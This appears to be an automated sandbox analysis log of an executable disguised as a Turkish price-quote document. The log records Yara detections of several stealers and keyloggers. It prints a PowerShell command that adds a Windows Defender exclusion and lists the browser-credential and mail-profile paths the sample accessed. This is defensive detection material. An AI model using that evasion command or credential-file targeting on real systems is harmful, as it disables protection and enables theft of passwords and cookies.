Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8ff8bc97bda1b58<
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------90264e84177b072<
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8faec2d4eb99d14<
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8f299462595e138
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8f4f2110a3acea7
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8f250d9cd278669
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8f79c83db0a4044
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8f98ded62922846<
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8fc3e2aee38a3e8<
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8f34ab5a6554af2
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8f13d57fcc4b3cf
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8ff2138dc9aed91<
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8f37cc4f06e4f4a
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8f89e60dfcf065d
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8fbbdeb43211aa3<
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------902043c48337840<
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8f619faa1750a4a
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8f3c305907bd8e6
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------900fa9964239eb5

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe"
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe"			Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe"			Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process created: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe "C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe"			Jump to behavior

Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager(
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Queries volume information: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Queries volume information: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3be7868.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.5660000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.5660000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3be7868.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2146266318.0000000005660000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2143245701.0000000003BE7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.4575972771.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe PID: 6444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe PID: 2820, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4575972771.0000000002C60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe PID: 6444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe PID: 2820, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe PID: 6444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe PID: 2820, type: MEMORYSTR

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3be7868.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.5660000.4.raw.unpack, type: UNPACKEDPE
